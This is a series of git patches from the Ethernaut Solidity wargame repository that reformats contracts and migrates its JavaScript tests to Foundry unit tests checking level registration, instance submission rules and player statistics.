if(actualInstance.instance != address(0)) { + if (actualInstance.instance != address(0)) { playerStats[players[_usersArrayIndex]][_newLevelContractAddress].instance = actualInstance.instance; - playerStats[players[_usersArrayIndex]][_newLevelContractAddress].isCompleted = actualInstance.isCompleted; - playerStats[players[_usersArrayIndex]][_newLevelContractAddress].timeCreated = actualInstance.timeCreated; - playerStats[players[_usersArrayIndex]][_newLevelContractAddress].timeCompleted = actualInstance.timeCompleted; - playerStats[players[_usersArrayIndex]][_newLevelContractAddress].timeSubmitted = actualInstance.timeSubmitted; + playerStats[players[_usersArrayIndex]][_newLevelContractAddress].isCompleted = + actualInstance.isCompleted; + playerStats[players[_usersArrayIndex]][_newLevelContractAddress].timeCreated = + actualInstance.timeCreated; + playerStats[players[_usersArrayIndex]][_newLevelContractAddress].timeCompleted = + actualInstance.timeCompleted; + playerStats[players[_usersArrayIndex]][_newLevelContractAddress].timeSubmitted = + actualInstance.timeSubmitted; playerStats[players[_usersArrayIndex]][_oldLevelContractAddress] = levelInstanceEmpty; } @@ -396,22 +400,21 @@ contract StatisticsLevelSuperseder is Initializable { _usersArrayIndex++; } while (gasleft() > 330000 && !(_usersArrayIndex == players.length)); - - if(_usersArrayIndex == players.length) { + if (_usersArrayIndex == players.length) { dumpStage = DumpStage.LEVEL_STATS; usersArrayIndex = 0; - } { + } + { usersArrayIndex = _usersArrayIndex; } - } - + function dumpLevelStats() public onlyOperator { require(dumpStage == DumpStage.LEVEL_STATS, "Not correct dump stage"); Level memory levelEmpty; levelStats[newLevelContractAddress] = levelStats[oldLevelContractAddress]; - levelStats[oldLevelContractAddress] = levelEmpty; + levelStats[oldLevelContractAddress] = levelEmpty; dumpStage = DumpStage.LEVEL_EXISTS_AND_LEVELS_ARRAY_FIX; } @@ -422,14 +425,13 @@ contract StatisticsLevelSuperseder is Initializable { address _oldLevelContractAddress = oldLevelContractAddress; uint256 deployId = 0; - while (levels[deployId] != _oldLevelContractAddress){ + while (levels[deployId] != _oldLevelContractAddress) { deployId++; } levels[deployId] = newLevelContractAddress; - levelExists[_oldLevelContractAddress] = false; + levelExists[_oldLevelContractAddress] = false; levels.pop(); - dumpStage = DumpStage.DUMP_DONE; } @@ -445,31 +447,31 @@ contract StatisticsLevelSuperseder is Initializable { } // GETTERS USED TO CHECK CHANGED STORAGE SLOTS - function getPlayerAtIndex(uint256 id) external view returns (address){ + function getPlayerAtIndex(uint256 id) external view returns (address) { return players[id]; } - function getLevelFirstInstanceCreationTime(address player, address level) public view returns (uint256){ + function getLevelFirstInstanceCreationTime(address player, address level) public view returns (uint256) { return levelFirstInstanceCreationTime[player][level]; } - function getLevelFirstCompletionTime(address player, address level) public view returns (uint256){ + function getLevelFirstCompletionTime(address player, address level) public view returns (uint256) { return levelFirstCompletionTime[player][level]; } - function getPlayerStats(address player, address level) public view returns (LevelInstance memory){ + function getPlayerStats(address player, address level) public view returns (LevelInstance memory) { return playerStats[player][level]; } - - function getLevelStats(address level) public view returns(Level memory){ + + function getLevelStats(address level) public view returns (Level memory) { return levelStats[level]; } - function getLevelExists(address level) public view returns(bool){ + function getLevelExists(address level) public view returns (bool) { return levelExists[level]; } - function getLevelAddress(uint256 id) public view returns(address){ + function getLevelAddress(uint256 id) public view returns (address) { return levels[id]; } /** @@ -477,5 +479,6 @@ contract StatisticsLevelSuperseder is Initializable { * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ + uint256[44] private __gap; } diff --git a/contracts/src/proxy/ProxyAdmin.sol b/contracts/src/proxy/ProxyAdmin.sol index e066663c9..d9cddd9d8 100644 --- a/contracts/src/proxy/ProxyAdmin.sol +++ b/contracts/src/proxy/ProxyAdmin.sol @@ -3,8 +3,8 @@ pragma solidity ^0.8.0; -import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; -import "@openzeppelin/contracts/access/Ownable.sol"; +import "openzeppelin-contracts-08/proxy/transparent/TransparentUpgradeableProxy.sol"; +import "openzeppelin-contracts-08/access/Ownable.sol"; /** * @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an @@ -18,17 +18,10 @@ contract ProxyAdmin is Ownable { * * - This contract must be the admin of `proxy`. */ - function getProxyImplementation(TransparentUpgradeableProxy proxy) - public - view - virtual - returns (address) - { + function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("implementation()")) == 0x5c60da1b - (bool success, bytes memory returndata) = address(proxy).staticcall( - hex"5c60da1b" - ); + (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b"); require(success); return abi.decode(returndata, (address)); } @@ -40,17 +33,10 @@ contract ProxyAdmin is Ownable { * * - This contract must be the admin of `proxy`. */ - function getProxyAdmin(TransparentUpgradeableProxy proxy) - public - view - virtual - returns (address) - { + function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("admin()")) == 0xf851a440 - (bool success, bytes memory returndata) = address(proxy).staticcall( - hex"f851a440" - ); + (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440"); require(success); return abi.decode(returndata, (address)); } @@ -62,10 +48,7 @@ contract ProxyAdmin is Ownable { * * - This contract must be the current admin of `proxy`. */ - function changeProxyAdmin( - TransparentUpgradeableProxy proxy, - address newAdmin - ) public virtual onlyOwner { + function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner { proxy.changeAdmin(newAdmin); } @@ -76,11 +59,7 @@ contract ProxyAdmin is Ownable { * * - This contract must be the admin of `proxy`. */ - function upgrade(TransparentUpgradeableProxy proxy, address implementation) - public - virtual - onlyOwner - { + function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner { proxy.upgradeTo(implementation); } @@ -92,11 +71,12 @@ contract ProxyAdmin is Ownable { * * - This contract must be the admin of `proxy`. */ - function upgradeAndCall( - TransparentUpgradeableProxy proxy, - address implementation, - bytes memory data - ) public payable virtual onlyOwner { + function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) + public + payable + virtual + onlyOwner + { proxy.upgradeToAndCall{value: msg.value}(implementation, data); } } diff --git a/contracts/src/proxy/ProxyStats.sol b/contracts/src/proxy/ProxyStats.sol index 2df0f1817..8393473ae 100644 --- a/contracts/src/proxy/ProxyStats.sol +++ b/contracts/src/proxy/ProxyStats.sol @@ -1,17 +1,10 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; + +import "openzeppelin-contracts-08/proxy/transparent/TransparentUpgradeableProxy.sol"; contract ProxyStats is TransparentUpgradeableProxy { - constructor( - address _impl, - address _admin, - address _ethernautAddress - ) - TransparentUpgradeableProxy( - _impl, - _admin, - abi.encodeWithSignature("initialize(address)", _ethernautAddress) - ) + constructor(address _impl, address _admin, address _ethernautAddress) + TransparentUpgradeableProxy(_impl, _admin, abi.encodeWithSignature("initialize(address)", _ethernautAddress)) {} } diff --git a/contracts/test/Counter.t.sol b/contracts/test/Counter.t.sol deleted file mode 100644 index 54b724f7a..000000000 --- a/contracts/test/Counter.t.sol +++ /dev/null @@ -1,24 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -import {Test, console} from "forge-std/Test.sol"; -import {Counter} from "../src/Counter.sol"; - -contract CounterTest is Test { - Counter public counter; - - function setUp() public { - counter = new Counter(); - counter.setNumber(0); - } - - function test_Increment() public { - counter.increment(); - assertEq(counter.number(), 1); - } - - function testFuzz_SetNumber(uint256 x) public { - counter.setNumber(x); - assertEq(counter.number(), x); - } -} From 4178f2cfb5ea595839a5c458e3bea729c64fe208 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 17:30:17 -0500 Subject: [PATCH 04/35] =?UTF-8?q?=E2=9C=85=20Main=20Ethernaut=20unit=20tes?= =?UTF-8?q?t?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/src/levels/Force.sol | 10 ++-- contracts/test/Ethernaut.t.sol | 102 +++++++++++++++++++++++++++++++++ contracts/test/utils/Utils.sol | 32 +++++++++++ 3 files changed, 138 insertions(+), 6 deletions(-) create mode 100644 contracts/test/Ethernaut.t.sol create mode 100644 contracts/test/utils/Utils.sol diff --git a/contracts/src/levels/Force.sol b/contracts/src/levels/Force.sol index 26752b43e..1565a05c4 100644 --- a/contracts/src/levels/Force.sol +++ b/contracts/src/levels/Force.sol @@ -1,12 +1,10 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -contract Force {/* - +contract Force { /* MEOW ? /\_/\ / ____/ o o \ - /~____ =ø= / - (______)__m_m) - -*/} \ No newline at end of file + /~____ =ø= / + (______)__m_m) + */ } diff --git a/contracts/test/Ethernaut.t.sol b/contracts/test/Ethernaut.t.sol new file mode 100644 index 000000000..be817a0ef --- /dev/null +++ b/contracts/test/Ethernaut.t.sol @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Ethernaut} from "src/Ethernaut.sol"; +import {Statistics} from "src/metrics/Statistics.sol"; +import {ProxyStats} from "src/proxy/ProxyStats.sol"; + +import {FallbackFactory} from "src/levels/FallbackFactory.sol"; +import {Manufactured} from "src/attacks/Manufactured.sol"; + +import {DummyFactory} from "src/levels/DummyFactory.sol"; +import {Dummy} from "src/levels/Dummy.sol"; + +contract TestEthernaut is Test { + Ethernaut ethernaut; + Statistics stats; + + Utils utils; + + address payable user; + address payable user2; + address payable owner; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + utils = new Utils(); + address payable[] memory users = utils.createUsers(3); + + user = users[0]; + vm.label(user, "User 1"); + + user2 = users[1]; + vm.label(user, "User 2"); + + owner = users[2]; + vm.label(owner, "Owner"); + + vm.startPrank(owner); + + ethernaut = new Ethernaut(); + + stats = Statistics(address(new ProxyStats(address(new Statistics()), owner, address(ethernaut)))); + + ethernaut.setStatistics(address(stats)); + + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Should not allow a player to manufacture a solution instance. + function testManufactureInstance() public { + vm.startPrank(owner); + FallbackFactory level = new FallbackFactory(); + ethernaut.registerLevel(level); + vm.stopPrank(); + + vm.startPrank(user); + assertTrue(stats.doesLevelExist(address(level))); + + // Instead of solving the instance, the player manufactures an instance with the desired state. + Manufactured instance = new Manufactured(); + + vm.expectRevert(); + ethernaut.submitLevelInstance(payable(address(instance))); + } + + /// @notice Should not allow player A to use player's B instance to complete a level. + function testUseOtherPlayerInstance() public { + vm.startPrank(owner); + DummyFactory level = new DummyFactory(); + ethernaut.registerLevel(level); + vm.stopPrank(); + + vm.startPrank(user); + assertTrue(stats.doesLevelExist(address(level))); + + vm.recordLogs(); + ethernaut.createLevelInstance(level); + Vm.Log[] memory entries = vm.getRecordedLogs(); + + address instance = address(uint160(uint256(entries[0].topics[2]))); + Dummy dummy = Dummy(instance); + + dummy.setCompleted(true); + assertTrue(dummy.completed()); + + vm.stopPrank(); + + vm.prank(user2); + vm.expectRevert("This instance doesn't belong to the current user"); + ethernaut.submitLevelInstance(payable(instance)); + } +} diff --git a/contracts/test/utils/Utils.sol b/contracts/test/utils/Utils.sol new file mode 100644 index 000000000..7c285d6f7 --- /dev/null +++ b/contracts/test/utils/Utils.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; + +contract Utils is Test { + bytes32 internal nextUser = keccak256(abi.encodePacked("user address")); + + function getNextUserAddress() external returns (address payable) { + address payable user = payable(address(uint160(uint256(nextUser)))); + nextUser = keccak256(abi.encodePacked(nextUser)); + return user; + } + + // create users with 100 ETH balance each + function createUsers(uint256 userNum) external returns (address payable[] memory) { + address payable[] memory users = new address payable[](userNum); + for (uint256 i = 0; i < userNum; i++) { + address payable user = this.getNextUserAddress(); + vm.deal(user, 100 ether); + users[i] = user; + } + + return users; + } + + // move block.number forward by a given number of blocks + function mineBlocks(uint256 numBlocks) external { + uint256 targetBlock = block.number + numBlocks; + vm.roll(targetBlock); + } +} From efa8a054a2bbe5ad92b8cc6fe11a0f632826402a Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 17:39:24 -0500 Subject: [PATCH 05/35] =?UTF-8?q?=E2=9C=85=20Finish=20Ethernaut=20core=20u?= =?UTF-8?q?nit=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/test/Ethernaut.t.sol | 98 +++++++++++++++++- contracts/test/EthernautTests.js | 166 ------------------------------- 2 files changed, 97 insertions(+), 167 deletions(-) delete mode 100644 contracts/test/EthernautTests.js diff --git a/contracts/test/Ethernaut.t.sol b/contracts/test/Ethernaut.t.sol index be817a0ef..05cf8f413 100644 --- a/contracts/test/Ethernaut.t.sol +++ b/contracts/test/Ethernaut.t.sol @@ -89,7 +89,7 @@ contract TestEthernaut is Test { address instance = address(uint160(uint256(entries[0].topics[2]))); Dummy dummy = Dummy(instance); - + dummy.setCompleted(true); assertTrue(dummy.completed()); @@ -99,4 +99,100 @@ contract TestEthernaut is Test { vm.expectRevert("This instance doesn't belong to the current user"); ethernaut.submitLevelInstance(payable(instance)); } + + /// @notice Should not allow a player to generate 2 completion logs with the same instance. + function testDoubleCompletion() public { + vm.startPrank(owner); + DummyFactory level = new DummyFactory(); + ethernaut.registerLevel(level); + vm.stopPrank(); + + vm.startPrank(user); + assertTrue(stats.doesLevelExist(address(level))); + + vm.recordLogs(); + ethernaut.createLevelInstance(level); + Vm.Log[] memory entries = vm.getRecordedLogs(); + + address instance = address(uint160(uint256(entries[0].topics[2]))); + Dummy dummy = Dummy(instance); + + dummy.setCompleted(true); + assertTrue(dummy.completed()); + + ethernaut.submitLevelInstance(payable(instance)); + + assertTrue(stats.isLevelCompleted(user, address(level))); + + vm.expectRevert("Level has been completed already"); + ethernaut.submitLevelInstance(payable(instance)); + } + + /// @notice Should provide instances and verify completion. + function testLevelCompletion() public { + vm.startPrank(owner); + DummyFactory level = new DummyFactory(); + ethernaut.registerLevel(level); + vm.stopPrank(); + + vm.startPrank(user); + assertTrue(stats.doesLevelExist(address(level))); + + vm.recordLogs(); + ethernaut.createLevelInstance(level); + Vm.Log[] memory entries = vm.getRecordedLogs(); + + address instance = address(uint160(uint256(entries[0].topics[2]))); + Dummy dummy = Dummy(instance); + + dummy.setCompleted(true); + assertTrue(dummy.completed()); + + assertFalse(stats.isLevelCompleted(user, address(level))); + ethernaut.submitLevelInstance(payable(instance)); + assertTrue(stats.isLevelCompleted(user, address(level))); + } + + /// @notice Should provide instances and verify non-completion. + function testLevelNonCompletion() public { + vm.startPrank(owner); + DummyFactory level = new DummyFactory(); + ethernaut.registerLevel(level); + vm.stopPrank(); + + vm.startPrank(user); + assertTrue(stats.doesLevelExist(address(level))); + + vm.recordLogs(); + ethernaut.createLevelInstance(level); + Vm.Log[] memory entries = vm.getRecordedLogs(); + + address instance = address(uint160(uint256(entries[0].topics[2]))); + Dummy dummy = Dummy(instance); + + assertFalse(dummy.completed()); + assertFalse(stats.isLevelCompleted(user, address(level))); + ethernaut.submitLevelInstance(payable(instance)); + assertFalse(stats.isLevelCompleted(user, address(level))); + } + + /// @notice Should not provide instances to non-registered level factories. + function testNonRegisteredLevel() public { + vm.startPrank(owner); + DummyFactory level = new DummyFactory(); + vm.stopPrank(); + + vm.startPrank(user); + vm.expectRevert("This level doesn't exists"); + ethernaut.createLevelInstance(level); + + assertFalse(stats.doesLevelExist(address(level))); + } + + /// @notice Should not allow anyone but the owner to upload a level. + function testUploadLevel() public { + DummyFactory level = new DummyFactory(); + vm.expectRevert("Ownable: caller is not the owner"); + ethernaut.registerLevel(level); + } } diff --git a/contracts/test/EthernautTests.js b/contracts/test/EthernautTests.js deleted file mode 100644 index f5e70b67f..000000000 --- a/contracts/test/EthernautTests.js +++ /dev/null @@ -1,166 +0,0 @@ -/*eslint no-undef: "off"*/ -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const DummyFactory = artifacts.require('./levels/DummyFactory.sol'); -const Dummy = artifacts.require('./levels/Dummy.sol'); -const FallbackFactory = artifacts.require('./levels/FallbackFactory.sol'); -const Manufactured = artifacts.require('./levels/Manufactured.sol'); -const { expectRevert } = require('openzeppelin-test-helpers'); -const utils = require('./utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Ethernaut', function (accounts) { - // ---------------------------------- - // Before - // ---------------------------------- - - let owner = accounts[0]; - let player = accounts[1]; - let player2 = accounts[2]; - let ethernaut; - let ProxyStats; - let statistics; - - before(async function () { - ethernaut = await Ethernaut.new(); - const implementation = await ethers.getContractFactory('Statistics'); - ProxyStats = await upgrades.deployProxy(implementation, [ - ethernaut.address, - ]); - await ethernaut.setStatistics(ProxyStats.address); - - statistics = await ethers.getContractAt('Statistics', ProxyStats.address); - }); - - it(`should not allow a player to manufacture a solution instance`, async function () { - const level = await FallbackFactory.new(); - await ethernaut.registerLevel(level.address, { from: owner }); - expect(await statistics.doesLevelExist(level.address)).to.equal(true); - - // Instead of solving the instance, the player manufactures an instance - // with the desired state: - // const instance = await utils.createLevelInstance(ethernaut, level.address, player, Fallback) - const instance = await Manufactured.new(); - - await expectRevert.unspecified( - ethernaut.submitLevelInstance(instance.address, { from: player }) - ); - }); - - it(`should not allow player A to use player's B instance to complete a level`, async function () { - const level = await DummyFactory.new(); - await ethernaut.registerLevel(level.address, { from: owner }); - expect(await statistics.doesLevelExist(level.address)).to.equal(true); - - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Dummy - ); - - await instance.setCompleted(true); - const completed = await instance.completed(); - assert.equal(completed, true); - - await expectRevert.unspecified( - ethernaut.submitLevelInstance(instance.address, { from: player2 }) - ); - }); - - it(`should not allow a player to generate 2 completion logs with the same instance`, async function () { - const level = await DummyFactory.new(); - await ethernaut.registerLevel(level.address, { from: owner }); - expect(await statistics.doesLevelExist(level.address)).to.equal(true); - - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Dummy - ); - await instance.setCompleted(true); - const completed = await instance.completed(); - assert.equal(completed, true); - - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - - expect(await statistics.isLevelCompleted(player, level.address)).to.equal( - true - ); - - // Resubmit instance - await expectRevert.unspecified( - ethernaut.submitLevelInstance(instance.address) - ); - }); - - it(`should provide instances and verify completion`, async function () { - const level = await DummyFactory.new(); - await ethernaut.registerLevel(level.address, { from: owner }); - expect(await statistics.doesLevelExist(level.address)).to.equal(true); - - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Dummy - ); - await instance.setCompleted(true); - const completed = await instance.completed(); - assert.equal(completed, true); - - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - - expect(await statistics.isLevelCompleted(player, level.address)).to.equal( - true - ); - }); - - it(`should provide instances and verify non-complettion`, async function () { - const level = await DummyFactory.new(); - await ethernaut.registerLevel(level.address, { from: owner }); - expect(await statistics.doesLevelExist(level.address)).to.equal(true); - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Dummy - ); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(completed, false); - }); - - it(`should not provide instances to non-registered level factories`, async function () { - const level = await DummyFactory.new(); - await expectRevert.unspecified( - ethernaut.createLevelInstance(level.address, { from: player }) - ); - expect(await statistics.doesLevelExist(level.address)).to.equal(false); - }); - - it(`should not allow anyone but the owner to upload a level`, async function () { - const level = await DummyFactory.new(); - await expectRevert.unspecified( - ethernaut.registerLevel(level.address, { from: player }) - ); - expect(await statistics.doesLevelExist(level.address)).to.equal(false); - }); -}); From a793332b035d1335d2219c5beb8f9d13489b9069 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 17:51:34 -0500 Subject: [PATCH 06/35] =?UTF-8?q?=E2=9C=85=20Leaderboard=20unit=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/test/metrics/Leaderboard.t.sol | 101 +++++++++++++++++++++ contracts/test/metrics/leaderboard.test.js | 61 ------------- 2 files changed, 101 insertions(+), 61 deletions(-) create mode 100644 contracts/test/metrics/Leaderboard.t.sol delete mode 100644 contracts/test/metrics/leaderboard.test.js diff --git a/contracts/test/metrics/Leaderboard.t.sol b/contracts/test/metrics/Leaderboard.t.sol new file mode 100644 index 000000000..984ae1f9d --- /dev/null +++ b/contracts/test/metrics/Leaderboard.t.sol @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Statistics} from "src/metrics/Statistics.sol"; + +contract TestLeaderboard is Test { + Statistics stats; + + Utils utils; + + address payable ethernaut; + address payable user; + address payable level_factory_1; + address payable level_factory_2; + address payable level_factory_3; + address payable level_instance_1; + address payable level_instance_2; + address payable level_instance_3; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + utils = new Utils(); + address payable[] memory users = utils.createUsers(8); + + ethernaut = users[0]; + vm.label(user, "Ethernaut"); + + user = users[1]; + vm.label(user, "User"); + + level_factory_1 = users[2]; + vm.label(level_factory_1, "Level Factory 1"); + + level_factory_2 = users[3]; + vm.label(level_factory_2, "Level Factory 2"); + + level_factory_3 = users[4]; + vm.label(level_factory_3, "Level Factory 3"); + + level_instance_1 = users[5]; + vm.label(level_instance_1, "Level Instance 1"); + + level_instance_2 = users[6]; + vm.label(level_instance_2, "Level Instance 2"); + + level_instance_3 = users[7]; + vm.label(level_instance_3, "Level Instance 3"); + + stats = new Statistics(); + stats.initialize(address(ethernaut)); + + vm.startPrank(ethernaut); + + stats.saveNewLevel(level_factory_1); + stats.saveNewLevel(level_factory_2); + stats.saveNewLevel(level_factory_3); + + stats.createNewInstance(level_instance_1, level_factory_1, user); + vm.warp(block.timestamp + 9); + stats.submitSuccess(level_instance_1, level_factory_1, user); + + stats.createNewInstance(level_instance_2, level_factory_2, user); + vm.warp(block.timestamp + 19); + stats.submitSuccess(level_instance_2, level_factory_2, user); + + stats.createNewInstance(level_instance_3, level_factory_3, user); + vm.warp(block.timestamp + 14); + stats.submitSuccess(level_instance_3, level_factory_3, user); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the retrieval of time taken to complete levels. + function testGetTimeTaken() public { + uint256 time1 = stats.getTimeElapsedForCompletionOfLevel(user, level_factory_1); + uint256 time2 = stats.getTimeElapsedForCompletionOfLevel(user, level_factory_2); + uint256 time3 = stats.getTimeElapsedForCompletionOfLevel(user, level_factory_3); + + assertEq(time1, 9); + assertEq(time2, 19); + assertEq(time3, 14); + } + + /// @notice Tests calculation of average time taken to complete level. + function testGetAverageTimeTaken() public { + uint256 time1 = stats.getTimeElapsedForCompletionOfLevel(user, level_factory_1); + uint256 time2 = stats.getTimeElapsedForCompletionOfLevel(user, level_factory_2); + uint256 time3 = stats.getTimeElapsedForCompletionOfLevel(user, level_factory_3); + + uint256 average = stats.getAverageTimeTakenToCompleteLevels(user); + assertEq(average, (time1 + time2 + time3) / 3); + } +} diff --git a/contracts/test/metrics/leaderboard.test.js b/contracts/test/metrics/leaderboard.test.js deleted file mode 100644 index 04e2911de..000000000 --- a/contracts/test/metrics/leaderboard.test.js +++ /dev/null @@ -1,61 +0,0 @@ -const Statistics = artifacts.require('./metrics/Statistics.sol'); -const chai = require('chai'); -const { expect } = chai; -const { solidity } = require('ethereum-waffle'); -const { time } = require("@nomicfoundation/hardhat-network-helpers"); - -chai.use(solidity); - -contract('Player metrics', (accounts) => { - let statistics; - let [ - ETHERNAUT_ADDRESS, - PLAYER_ADDRESS_1, - LEVEL_FACTORY_ADDRESS_1, - LEVEL_FACTORY_ADDRESS_2, - LEVEL_FACTORY_ADDRESS_3, - LEVEL_INSTANCE_ADDRESS_1, - LEVEL_INSTANCE_ADDRESS_2, - LEVEL_INSTANCE_ADDRESS_3 - ] = accounts; - - let TIME_1, TIME_2, TIME_3; -describe('Statistics', function () { - before(async () => { - statistics = await Statistics.new(); - await statistics.initialize(ETHERNAUT_ADDRESS); - - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_1); - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_2); - await statistics.saveNewLevel(LEVEL_FACTORY_ADDRESS_3); - - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_1); - await time.increase(9); - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1, PLAYER_ADDRESS_1); - - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1); - await time.increase(19); - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_2, LEVEL_FACTORY_ADDRESS_2, PLAYER_ADDRESS_1); - - await statistics.createNewInstance(LEVEL_INSTANCE_ADDRESS_3, LEVEL_FACTORY_ADDRESS_3, PLAYER_ADDRESS_1); - await time.increase(14); - await statistics.submitSuccess(LEVEL_INSTANCE_ADDRESS_3, LEVEL_FACTORY_ADDRESS_3, PLAYER_ADDRESS_1); - }) - - describe('Average time taken to complete level', () => { - it('check the retrieval of time taken to complete levels', async () => { - TIME_1 = (await statistics.getTimeElapsedForCompletionOfLevel(PLAYER_ADDRESS_1, LEVEL_FACTORY_ADDRESS_1)).toNumber() - TIME_2 = (await statistics.getTimeElapsedForCompletionOfLevel(PLAYER_ADDRESS_1, LEVEL_FACTORY_ADDRESS_2)).toNumber() - TIME_3 = (await statistics.getTimeElapsedForCompletionOfLevel(PLAYER_ADDRESS_1, LEVEL_FACTORY_ADDRESS_3)).toNumber() - expect(TIME_1).to.equal(10) - expect(TIME_2).to.equal(20) - expect(TIME_3).to.equal(15) - }); - - it('tests calculation of average time taken to complete level', async () => { - let AVERAGE_TIME = (await statistics.getAverageTimeTakenToCompleteLevels(PLAYER_ADDRESS_1)).toNumber() - expect(AVERAGE_TIME).to.equal((TIME_1 + TIME_2 + TIME_3) / 3); - }) - }); - }); -}); \ No newline at end of file From af8bb6733f73079d86fc23aa83bd8bcdf014f23a Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 18:01:01 -0500 Subject: [PATCH 07/35] =?UTF-8?q?=E2=9C=85=20Level=20unit=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/test/metrics/Level.t.sol | 110 +++++++++++++++++++++++++++ contracts/test/metrics/level.test.js | 94 ----------------------- 2 files changed, 110 insertions(+), 94 deletions(-) create mode 100644 contracts/test/metrics/Level.t.sol delete mode 100644 contracts/test/metrics/level.test.js diff --git a/contracts/test/metrics/Level.t.sol b/contracts/test/metrics/Level.t.sol new file mode 100644 index 000000000..650709086 --- /dev/null +++ b/contracts/test/metrics/Level.t.sol @@ -0,0 +1,110 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Statistics} from "src/metrics/Statistics.sol"; + +contract TestLeaderboard is Test { + Statistics stats; + + Utils utils; + + address payable ethernaut; + address payable user; + address payable user2; + address payable level_factory_1; + address payable level_factory_2; + address payable level_factory_3; + address payable level_instance_1; + address payable level_instance_2; + address payable level_instance_3; + address payable level_instance_4; + address payable level_instance_5; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + utils = new Utils(); + address payable[] memory users = utils.createUsers(11); + + ethernaut = users[0]; + vm.label(user, "Ethernaut"); + + user = users[1]; + vm.label(user, "User"); + + user2 = users[2]; + vm.label(user, "User 2"); + + level_factory_1 = users[3]; + vm.label(level_factory_1, "Level Factory 1"); + + level_factory_2 = users[4]; + vm.label(level_factory_2, "Level Factory 2"); + + level_factory_3 = users[5]; + vm.label(level_factory_3, "Level Factory 3"); + + level_instance_1 = users[6]; + vm.label(level_instance_1, "Level Instance 1"); + + level_instance_2 = users[7]; + vm.label(level_instance_2, "Level Instance 2"); + + level_instance_3 = users[8]; + vm.label(level_instance_3, "Level Instance 3"); + + level_instance_4 = users[9]; + vm.label(level_instance_3, "Level Instance 4"); + + level_instance_5 = users[10]; + vm.label(level_instance_3, "Level Instance 5"); + + stats = new Statistics(); + stats.initialize(ethernaut); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Checks states of multiple levels. + function testCreationMultipleLevels() public { + vm.startPrank(ethernaut); + stats.saveNewLevel(level_factory_1); + stats.saveNewLevel(level_factory_2); + stats.saveNewLevel(level_factory_3); + + stats.createNewInstance(level_instance_1, level_factory_1, user); + stats.createNewInstance(level_instance_2, level_factory_2, user); + stats.createNewInstance(level_instance_3, level_factory_3, user); + 